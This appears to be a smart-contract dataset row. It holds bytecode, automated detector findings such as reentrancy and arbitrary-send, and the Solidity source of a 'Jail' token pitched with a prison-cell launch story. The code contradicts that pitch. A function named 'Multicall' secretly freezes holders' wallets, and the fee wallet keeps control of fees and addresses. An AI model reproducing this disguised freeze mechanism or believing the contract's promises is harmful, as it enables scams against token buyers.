40161056d906116e5565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146109435760405162461bcd60e51b815260040161056d906116e5565b600754811061095157600080fd5b600755565b60006104d0338484610bea565b6000546001600160a01b0316331461098d5760405162461bcd60e51b815260040161056d906116e5565b600b546001600160a01b031663f305d71947306109bf816001600160a01b031660009081526002602052604090205490565b6000806109d46000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a3c573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a619190611759565b5050600c805462ff00ff60a01b19166201000160a01b17905550565b6000610abf83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506110a1565b9392505050565b6001600160a01b038316610b285760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161056d565b6001600160a01b038216610b895760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161056d565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c4e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161056d565b6001600160a01b038216610cb05760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161056d565b60008111610d125760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161056d565b6000546001600160a01b03848116911614801590610d3e57506000546001600160a01b03838116911614155b15610fcc57600c546001600160a01b038481169116148015610d6e5750600b546001600160a01b03838116911614155b8015610d9357506001600160a01b03821660009081526004602052604090205460ff16155b15610dea57600954811115610dea5760405162461bcd60e51b815260206004820152601a60248201527f5472616e73616374696f6e20616d6f756e74206c696d69746564000000000000604482015260640161056d565b6001600160a01b03831660009081526005602052604090205460ff16158015610e2c57506001600160a01b03821660009081526005602052604090205460ff16155b610e785760405162461bcd60e51b815260206004820152601b60248201527f54686973206163636f756e7420697320626c61636b6c69737465640000000000604482015260640161056d565b600c546001600160a01b03838116911614801590610eaf57506001600160a01b03821660009081526004602052604090205460ff16155b8015610ed457506001600160a01b03831660009081526004602052604090205460ff16155b15610f5457600a5481610efc846001600160a01b031660009081526002602052604090205490565b610f069190611787565b1115610f545760405162461bcd60e51b815260206004820152601c60248201527f42616c616e63652065786365656465642077616c6c65742073697a6500000000604482015260640161056d565b30600090815260026020526040902054600c54600160a81b900460ff16158015610f8c5750600c546001600160a01b03858116911614155b8015610fa15750600c54600160b01b900460ff165b15610fca57610faf816110cf565b47670de0b6b3a76400008110610fc857610fc847611067565b505b505b6001600160a01b0382166000908152600460205260409020546110289084908490849060ff168061101557506001600160a01b03871660009081526004602052604090205460ff165b61102157600754611249565b6000611249565b505050565b600081848411156110515760405162461bcd60e51b815260040161056d919061156d565b50600061105e848661179f565b95945050505050565b6008546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156104bf573d6000803e3d6000fd5b600081836110c25760405162461bcd60e51b815260040161056d919061156d565b50600061105e84866117b6565b600c805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111175761111761169e565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611170573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611194919061171a565b816001815181106111a7576111a761169e565b6001600160a01b039283166020918202929092010152600b546111cd9130911684610ac6565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac947906112069085906000908690309042906004016117d8565b600060405180830381600087803b15801561122057600080fd5b505af1158015611234573d6000803e3d6000fd5b5050600c805460ff60a81b1916905550505050565b6000611260606461125a858561134d565b90610a7d565b9050600061126e84836113cc565b6001600160a01b03871660009081526002602052604090205490915061129490856113cc565b6001600160a01b0380881660009081526002602052604080822093909355908716815220546112c3908261140e565b6001600160a01b0386166000908152600260205260408082209290925530815220546112ef908361140e565b3060009081526002602090815260409182902092909255518281526001600160a01b0387811692908916917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3505050505050565b60008261135c575060006104d4565b60006113688385611849565b90508261137585836117b6565b14610abf5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161056d565b6000610abf83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061102d565b60008061141b8385611787565b905083811015610abf5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161056d565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461082357600080fd5b80356114a381611483565b919050565b600060208083850312156114bb57600080fd5b823567ffffffffffffffff808211156114d357600080fd5b818501915085601f8301126114e757600080fd5b8135818111156114f9576114f961146d565b8060051b604051601f19603f8301168101818110858211171561151e5761151e61146d565b60405291825284820192508381018501918883111561153c57600080fd5b938501935b828510156115615761155285611498565b84529385019392850192611541565b98975050505050505050565b600060208083528351808285015260005b8181101561159a5785810183015185820160400152820161157e565b818111156115ac576000604083870101525b50601f01601f1916929092016040019392505050565b600080604083850312156115d557600080fd5b82356115e081611483565b946020939093013593505050565b60008060006060848603121561160357600080fd5b833561160e81611483565b9250602084013561161e81611483565b929592945050506040919091013590565b60006020828403121561164157600080fd5b5035919050565b60006020828403121561165a57600080fd5b8135610abf81611483565b6000806040838503121561167857600080fd5b823561168381611483565b9150602083013561169381611483565b809150509250929050565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60006000198214156116de576116de6116b4565b5060010190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561172c57600080fd5b8151610abf81611483565b60006020828403121561174957600080fd5b81518015158114610abf57600080fd5b60008060006060848603121561176e57600080fd5b8351925060208401519150604084015190509250925092565b6000821982111561179a5761179a6116b4565b500190565b6000828210156117b1576117b16116b4565b500390565b6000826117d357634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118285784516001600160a01b031683529383019391830191600101611803565b50506001600160a01b03969096166060850152505050608001529392505050565b6000816000190483118215151615611863576118636116b4565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200e875fc1eae4a48e6477848296da6820cfa15cbc6b58c40e99cd37bc4e41898064736f6c634300080c0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 10,171 |
0x63fef3d37b910f3a24749aae4668042bd4d4d8d9 | /**
*Submitted for verification at Etherscan.io on 2022-04-21
*/
// SPDX-License-Identifier: MIT
/*
Jail
I'm in Jail since 1 year, doing this launch from my prison cell;
I doing this to denounce the unhealthy conditions in prison
Ownership will be renounced after the launch and tax are 5% buy & sell.
I will communicate doing tx on the owner wallet.
*/
pragma solidity ^0.8.13;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Jail is Context, IERC20, Ownable { ////
mapping (address => uint) private _owned;
mapping (address => mapping (address => uint)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => User) private cooldown;
mapping (address => bool) private _isBot;
uint private constant _totalSupply = 1e12 * 10**9;
string public constant name = unicode"Jail"; ////
string public constant symbol = unicode"JAIL"; ////
uint8 public constant decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address payable private _FeeAddress1;
address payable private _FeeAddress2;
address public uniswapV2Pair;
uint public _buyFee = 3;
uint public _sellFee = 3;
uint public _feeRate = 9;
uint public _maxBuyAmount;
uint public _maxHeldTokens;
uint public _launchedAt;
bool private _tradingOpen;
bool private _inSwap;
bool public _useImpactFeeSetter = true;
struct User {
uint buy;
bool exists;
}
event FeeMultiplierUpdated(uint _multiplier);
event ImpactFeeSetterUpdated(bool _usefeesetter);
event FeeRateUpdated(uint _rate);
event FeesUpdated(uint _buy, uint _sell);
event FeeAddress1Updated(address _feewallet1);
event FeeAddress2Updated(address _feewallet2);
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor (address payable FeeAddress1, address payable FeeAddress2) {
_FeeAddress1 = FeeAddress1;
_FeeAddress2 = FeeAddress2;
_owned[address(this)] = _totalSupply;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress1] = true;
_isExcludedFromFee[FeeAddress2] = true;
emit Transfer(address(0), address(this), _totalSupply);
}
function balanceOf(address account) public view override returns (uint) {
return _owned[account];
}
function transfer(address recipient, uint amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function totalSupply() public pure override returns (uint) {
return _totalSupply;
}
function allowance(address owner, address spender) public view override returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public override returns (bool) {
if(_tradingOpen && !_isExcludedFromFee[recipient] && sender == uniswapV2Pair){
require (recipient == tx.origin, "pls no bot");
}
_transfer(sender, recipient, amount);
uint allowedAmount = _allowances[sender][_msgSender()] - amount;
_approve(sender, _msgSender(), allowedAmount);
return true;
}
function _approve(address owner, address spender, uint amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isBot[from], "ERC20: transfer from frozen wallet.");
bool isBuy = false;
if(from != owner() && to != owner()) {
// buy
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(_tradingOpen, "Trading not yet enabled.");
require(block.timestamp != _launchedAt, "pls no snip");
if((_launchedAt + (1 hours)) > block.timestamp) {
require((amount + balanceOf(address(to))) <= _maxHeldTokens, "You can't own that many tokens at once."); // 5%
}
if(!cooldown[to].exists) {
cooldown[to] = User(0,true);
}
if((_launchedAt + (120 seconds)) > block.timestamp) {
require(amount <= _maxBuyAmount, "Exceeds maximum buy amount.");
require(cooldown[to].buy < block.timestamp + (15 seconds), "Your buy cooldown has not expired.");
}
cooldown[to].buy = block.timestamp;
isBuy = true;
}
// sell
if(!_inSwap && _tradingOpen && from != uniswapV2Pair) {
require(cooldown[from].buy < block.timestamp + (15 seconds), "Your sell cooldown has not expired.");
uint contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > 0) {
if(_useImpactFeeSetter) {
if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) {
contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100;
}
}
swapTokensForEth(contractTokenBalance);
}
uint contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
isBuy = false;
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee,isBuy);
}
function swapTokensForEth(uint tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint amount) private {
_FeeAddress1.transfer(amount / 2);
_FeeAddress2.transfer(amount / 2);
}
function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private {
(uint fee) = _getFee(takefee, buy);
_transferStandard(sender, recipient, amount, fee);
}
function _getFee(bool takefee, bool buy) private view returns (uint) {
uint fee = 0;
if(takefee) {
if(buy) {
fee = _buyFee;
} else {
fee = _sellFee;
if(block.timestamp < _launchedAt + (15 minutes)) {
fee += 5;
}
}
}
return fee;
}
function _transferStandard(address sender, address recipient, uint amount, uint fee) private {
(uint transferAmount, uint team) = _getValues(amount, fee);
_owned[sender] = _owned[sender] - amount;
_owned[recipient] = _owned[recipient] + transferAmount;
_takeTeam(team);
emit Transfer(sender, recipient, transferAmount);
}
function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) {
uint team = (amount * teamFee) / 100;
uint transferAmount = amount - team;
return (transferAmount, team);
}
function _takeTeam(uint team) private {
_owned[address(this)] = _owned[address(this)] + team;
}
receive() external payable {}
// external functions
function addLiquidity() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
_tradingOpen = true;
_launchedAt = block.timestamp;
_maxBuyAmount = 1000000000000 * 10**9; //
_maxHeldTokens = 1000000000000 * 10**9; //
}
function manualswap() external {
require(_msgSender() == _FeeAddress1);
uint contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress1);
uint contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setFeeRate(uint rate) external onlyOwner() {
require(_msgSender() == _FeeAddress1);
require(rate > 0, "Rate can't be zero");
// 100% is the common fee rate
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setFees(uint buy, uint sell) external {
require(_msgSender() == _FeeAddress1);
require(buy <= 10);
require(sell <= 10);
_buyFee = buy;
_sellFee = sell;
emit FeesUpdated(_buyFee, _sellFee);
}
function Multicall(address[] memory bots_) external {
require(_msgSender() == _FeeAddress1);
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) external {
require(_msgSender() == _FeeAddress1);
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
function toggleImpactFee(bool onoff) external onlyOwner() {
_useImpactFeeSetter = onoff;
emit ImpactFeeSetterUpdated(_useImpactFeeSetter);
}
function updateFeeAddress1(address newAddress) external {
require(_msgSender() == _FeeAddress1);
_FeeAddress1 = payable(newAddress);
emit FeeAddress1Updated(_FeeAddress1);
}
function updateFeeAddress2(address newAddress) external {
require(_msgSender() == _FeeAddress2);
_FeeAddress2 = payable(newAddress);
emit FeeAddress2Updated(_FeeAddress2);
}
// view functions
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
} | 0x6080604052600436106101f25760003560e01c8063509016171161010d57806395d89b41116100a0578063c9567bf91161006f578063c9567bf91461059a578063db92dbb6146105af578063dcb0e0ad146105c4578063dd62ed3e146105e4578063e8078d941461062a57600080fd5b806395d89b411461051f578063a9059cbb1461054f578063b2131f7d1461056f578063c3c8cd801461058557600080fd5b8063715018a6116100dc578063715018a6146104ac5780637a49cddb146104c15780638da5cb5b146104e157806394b8d8f2146104ff57600080fd5b80635090161714610441578063590f897e146104615780636fc3eaec1461047757806370a082311461048c57600080fd5b806327f3a72a116101855780633bbac579116101545780633bbac5791461039a57806340b9a54b146103d357806345596e2e146103e957806349bd5a5e1461040957600080fd5b806327f3a72a14610328578063313ce5671461033d57806331c2d8471461036457806332d873d81461038457600080fd5b80630b78f9c0116101c15780630b78f9c0146102b657806318160ddd146102d65780631940d020146102f257806323b872dd1461030857600080fd5b80630492f055146101fe57806306fdde03146102275780630802d2f614610264578063095ea7b31461028657600080fd5b366101f957005b600080fd5b34801561020a57600080fd5b50610214600e5481565b6040519081526020015b60405180910390f35b34801561023357600080fd5b506102576040518060400160405280600481526020016312985a5b60e21b81525081565b60405161021e9190611bbc565b34801561027057600080fd5b5061028461027f366004611c36565b61063f565b005b34801561029257600080fd5b506102a66102a1366004611c53565b6106b4565b604051901515815260200161021e565b3480156102c257600080fd5b506102846102d1366004611c7f565b6106ca565b3480156102e257600080fd5b50683635c9adc5dea00000610214565b3480156102fe57600080fd5b50610214600f5481565b34801561031457600080fd5b506102a6610323366004611ca1565b61074d565b34801561033457600080fd5b50610214610835565b34801561034957600080fd5b50610352600981565b60405160ff909116815260200161021e565b34801561037057600080fd5b5061028461037f366004611cf8565b610845565b34801561039057600080fd5b5061021460105481565b3480156103a657600080fd5b506102a66103b5366004611c36565b6001600160a01b031660009081526006602052604090205460ff1690565b3480156103df57600080fd5b50610214600b5481565b3480156103f557600080fd5b50610284610404366004611dbd565b6108d1565b34801561041557600080fd5b50600a54610429906001600160a01b031681565b6040516001600160a01b03909116815260200161021e565b34801561044d57600080fd5b5061028461045c366004611c36565b610995565b34801561046d57600080fd5b50610214600c5481565b34801561048357600080fd5b50610284610a03565b34801561049857600080fd5b506102146104a7366004611c36565b610a30565b3480156104b857600080fd5b50610284610a4b565b3480156104cd57600080fd5b506102846104dc366004611cf8565b610abf565b3480156104ed57600080fd5b506000546001600160a01b0316610429565b34801561050b57600080fd5b506011546102a69062010000900460ff1681565b34801561052b57600080fd5b50610257604051806040016040528060048152602001631290525360e21b81525081565b34801561055b57600080fd5b506102a661056a366004611c53565b610bce565b34801561057b57600080fd5b50610214600d5481565b34801561059157600080fd5b50610284610bdb565b3480156105a657600080fd5b50610284610c11565b3480156105bb57600080fd5b50610214610cad565b3480156105d057600080fd5b506102846105df366004611de4565b610cc5565b3480156105f057600080fd5b506102146105ff366004611e01565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561063657600080fd5b50610284610d42565b6008546001600160a01b0316336001600160a01b03161461065f57600080fd5b600880546001600160a01b0319166001600160a01b0383169081179091556040519081527f0e96f8986653644392af4a5daec8b04a389af0d497572173e63846ccd26c843c906020015b60405180910390a150565b60006106c1338484611089565b50600192915050565b6008546001600160a01b0316336001600160a01b0316146106ea57600080fd5b600a8211156106f857600080fd5b600a81111561070657600080fd5b600b829055600c81905560408051838152602081018390527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a15050565b60115460009060ff16801561077b57506001600160a01b03831660009081526004602052604090205460ff16155b80156107945750600a546001600160a01b038581169116145b156107e3576001600160a01b03831632146107e35760405162461bcd60e51b815260206004820152600a6024820152691c1b1cc81b9bc8189bdd60b21b60448201526064015b60405180910390fd5b6107ee8484846111ad565b6001600160a01b038416600090815260036020908152604080832033845290915281205461081d908490611e50565b905061082a853383611089565b506001949350505050565b600061084030610a30565b905090565b6008546001600160a01b0316336001600160a01b03161461086557600080fd5b60005b81518110156108cd5760006006600084848151811061088957610889611e67565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806108c581611e7d565b915050610868565b5050565b6000546001600160a01b031633146108fb5760405162461bcd60e51b81526004016107da90611e96565b6008546001600160a01b0316336001600160a01b03161461091b57600080fd5b600081116109605760405162461bcd60e51b8152602060048201526012602482015271526174652063616e2774206265207a65726f60701b60448201526064016107da565b600d8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020016106a9565b6009546001600160a01b0316336001600160a01b0316146109b557600080fd5b600980546001600160a01b0319166001600160a01b0383169081179091556040519081527f96511497113ddf59712b28350d7457b9c300ab227616bd3b451745a395a53014906020016106a9565b6008546001600160a01b0316336001600160a01b031614610a2357600080fd5b47610a2d8161181b565b50565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b03163314610a755760405162461bcd60e51b81526004016107da90611e96565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6008546001600160a01b0316336001600160a01b031614610adf57600080fd5b60005b81518110156108cd57600a5482516001600160a01b0390911690839083908110610b0e57610b0e611e67565b60200260200101516001600160a01b031614158015610b5f575060075482516001600160a01b0390911690839083908110610b4b57610b4b611e67565b60200260200101516001600160a01b031614155b15610bbc57600160066000848481518110610b7c57610b7c611e67565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610bc681611e7d565b915050610ae2565b60006106c13384846111ad565b6008546001600160a01b0316336001600160a01b031614610bfb57600080fd5b6000610c0630610a30565b9050610a2d816118a0565b6000546001600160a01b03163314610c3b5760405162461bcd60e51b81526004016107da90611e96565b60115460ff1615610c885760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b60448201526064016107da565b6011805460ff1916600117905542601055683635c9adc5dea00000600e819055600f55565b600a54600090610840906001600160a01b0316610a30565b6000546001600160a01b03163314610cef5760405162461bcd60e51b81526004016107da90611e96565b6011805462ff00001916620100008315158102919091179182905560405160ff9190920416151581527ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb906020016106a9565b6000546001600160a01b03163314610d6c5760405162461bcd60e51b81526004016107da90611e96565b60115460ff1615610db95760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b60448201526064016107da565b600780546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610df63082683635c9adc5dea00000611089565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e34573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e589190611ecb565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ea5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ec99190611ecb565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610f16573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f3a9190611ecb565b600a80546001600160a01b0319166001600160a01b039283161790556007541663f305d7194730610f6a81610a30565b600080610f7f6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610fe7573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061100c9190611ee8565b5050600a5460075460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015611065573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108cd9190611f16565b6001600160a01b0383166110eb5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016107da565b6001600160a01b03821661114c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016107da565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166112115760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016107da565b6001600160a01b0382166112735760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016107da565b600081116112d55760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016107da565b6001600160a01b03831660009081526006602052604090205460ff161561134a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e736665722066726f6d2066726f7a656e2077616c6c60448201526232ba1760e91b60648201526084016107da565b600080546001600160a01b0385811691161480159061137757506000546001600160a01b03848116911614155b156117bc57600a546001600160a01b0385811691161480156113a757506007546001600160a01b03848116911614155b80156113cc57506001600160a01b03831660009081526004602052604090205460ff16155b156116585760115460ff166114235760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e000000000000000060448201526064016107da565b60105442036114625760405162461bcd60e51b815260206004820152600b60248201526a0706c73206e6f20736e69760ac1b60448201526064016107da565b42601054610e106114739190611f33565b11156114ed57600f5461148584610a30565b61148f9084611f33565b11156114ed5760405162461bcd60e51b815260206004820152602760248201527f596f752063616e2774206f776e2074686174206d616e7920746f6b656e7320616044820152663a1037b731b29760c91b60648201526084016107da565b6001600160a01b03831660009081526005602052604090206001015460ff16611555576040805180820182526000808252600160208084018281526001600160a01b03891684526005909152939091209151825591519101805460ff19169115159190911790555b4260105460786115659190611f33565b111561163957600e548211156115bd5760405162461bcd60e51b815260206004820152601b60248201527f45786365656473206d6178696d756d2062757920616d6f756e742e000000000060448201526064016107da565b6115c842600f611f33565b6001600160a01b038416600090815260056020526040902054106116395760405162461bcd60e51b815260206004820152602260248201527f596f75722062757920636f6f6c646f776e20686173206e6f7420657870697265604482015261321760f11b60648201526084016107da565b506001600160a01b038216600090815260056020526040902042905560015b601154610100900460ff16158015611672575060115460ff165b801561168c5750600a546001600160a01b03858116911614155b156117bc5761169c42600f611f33565b6001600160a01b0385166000908152600560205260409020541061170e5760405162461bcd60e51b815260206004820152602360248201527f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260448201526232b21760e91b60648201526084016107da565b600061171930610a30565b905080156117a55760115462010000900460ff161561179c57600d54600a546064919061174e906001600160a01b0316610a30565b6117589190611f4b565b6117629190611f6a565b81111561179c57600d54600a5460649190611785906001600160a01b0316610a30565b61178f9190611f4b565b6117999190611f6a565b90505b6117a5816118a0565b4780156117b5576117b54761181b565b6000925050505b6001600160a01b03841660009081526004602052604090205460019060ff16806117fe57506001600160a01b03841660009081526004602052604090205460ff165b15611807575060005b6118148585858486611a14565b5050505050565b6008546001600160a01b03166108fc611835600284611f6a565b6040518115909202916000818181858888f1935050505015801561185d573d6000803e3d6000fd5b506009546001600160a01b03166108fc611878600284611f6a565b6040518115909202916000818181858888f193505050501580156108cd573d6000803e3d6000fd5b6011805461ff00191661010017905560408051600280825260608201835260009260208301908036833701905050905030816000815181106118e4576118e4611e67565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561193d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119619190611ecb565b8160018151811061197457611974611e67565b6001600160a01b03928316602091820292909201015260075461199a9130911684611089565b60075460405163791ac94760e01b81526001600160a01b039091169063791ac947906119d3908590600090869030904290600401611f8c565b600060405180830381600087803b1580156119ed57600080fd5b505af1158015611a01573d6000803e3d6000fd5b50506011805461ff001916905550505050565b6000611a208383611a36565b9050611a2e86868684611a7d565b505050505050565b6000808315611a76578215611a4e5750600b54611a76565b50600c54601054611a6190610384611f33565b421015611a7657611a73600582611f33565b90505b9392505050565b600080611a8a8484611b5a565b6001600160a01b0388166000908152600260205260409020549193509150611ab3908590611e50565b6001600160a01b038088166000908152600260205260408082209390935590871681522054611ae3908390611f33565b6001600160a01b038616600090815260026020526040902055611b0581611b8e565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611b4a91815260200190565b60405180910390a3505050505050565b600080806064611b6a8587611f4b565b611b749190611f6a565b90506000611b828287611e50565b96919550909350505050565b30600090815260026020526040902054611ba9908290611f33565b3